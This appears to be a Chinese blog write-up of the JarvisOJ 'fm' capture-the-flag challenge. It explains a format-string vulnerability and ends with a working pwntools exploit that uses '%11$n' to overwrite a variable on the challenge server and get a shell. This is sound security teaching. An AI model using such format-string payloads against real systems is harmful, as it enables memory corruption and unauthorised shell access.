JarvisOJ fm

这一题是一道格式化字符串漏洞题

关于格式化漏洞的基础,你可以看我前面的博客,里面有提到:https://blog.csdn.net/qq_43986365/article/details/94896862
拿到这一题,我们仍然是先查看保护:
在这里插入图片描述
我们可以看到,简单的格式化漏洞题只开了NX和CANARY保护,好的。
接下来我们就可以进入IDA中看一下程序的具体逻辑:
在这里插入图片描述
在这里,我们可以看到有一个明显的格式化字符串漏洞,利用%n的特殊性,我们可以把已经输出的字节个数打印到参数的任意位置(一个buf,他的赋值参数不一定是第一个)。
在这里我们只需要将x的值赋为4就可以拿到shell了。
让我们来看看这个buf的参数位置是哪个:
进入gdb,我们先下一个断点在格式化字符串漏洞之前:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在第一个printf()处下断点并且运行,输入多个a字符,接着查看参数:
在这里插入图片描述
x/16wx $esp的意思是以16进制查看esp处的参数,我们可以看到赋值参数在第11位(a的ACSII码的16进制是0x61)。
了解了这些之后,我们就能构造payload了。
完整的exp如下:

#!/usr/bin/env python
from pwn import *
p=remote('pwn2.jarvisoj.com',9895)
x_addr=0x0804a02c
payload=p32(x_addr)+'%11$n'
p.sendline(payload)
print p.recv()
p.interactive()

运行结果如下:
在这里插入图片描述

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值